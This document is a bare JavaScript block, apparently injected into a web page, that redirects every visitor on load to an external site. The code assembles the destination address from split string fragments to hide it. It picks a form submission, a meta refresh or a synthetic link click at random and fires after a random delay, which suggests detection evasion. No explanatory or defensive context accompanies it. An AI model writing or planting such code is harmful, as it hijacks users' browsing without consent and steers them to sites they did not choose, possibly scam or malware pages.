<script type="text/javascript">
(function() {
function randomString(length) {
var chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
var result = '';
for (var i = 0; i < length; i++) {
result += chars.charAt(Math.floor(Math.random() * chars.length));
}
return result;
}
function generateComplexCode() {
var date = new Date();
var components = [
date.getFullYear(),
("0" + (date.getMonth() + 1)).slice(-2),
("0" + date.getDate()).slice(-2),
("0" + date.getHours()).slice(-2),
("0" + date.getMinutes()).slice(-2),
("0" + date.getSeconds()).slice(-2)
];
var code = btoa(components.join('')).split('').reverse().join('');
return code + randomString(5);
}
function obfuscateUrl() {
var protocolParts = ['ht', 'tps', ':', '/', '/'];
var domainParts = ['www', 'site', 'adre' , 'si'];
var tldParts = ['.c', 'om'];
var protocol = protocolParts.join('') + domainParts.join('') + tldParts.join('');
return protocol;
}
function redirectWithForm(url) {
var form = document.createElement("form");
form.method = "GET";
form.action = url;
document.body.appendChild(form);
form.submit();
}
function redirectWithMeta(url) {
var meta = document.createElement('meta');
meta.httpEquiv = "refresh";
meta.content = "0;url=" + url;
document.getElementsByTagName('head')[0].appendChild(meta);
}
function redirectWithLink(url) {
var a = document.createElement("a");
a.href = url;
document.body.appendChild(a);
a.click();
}
function dynamicRedirect() {
var complexCode = generateComplexCode();
var redirectUrl = obfuscateUrl();
var methods = [redirectWithForm, redirectWithMeta, redirectWithLink];
var method = methods[Math.floor(Math.random() * methods.length)];
method(redirectUrl);
}
window.onload = function() {
setTimeout(function() {
dynamicRedirect();
}, Math.random() * 100 + 10);
}
})();
</script>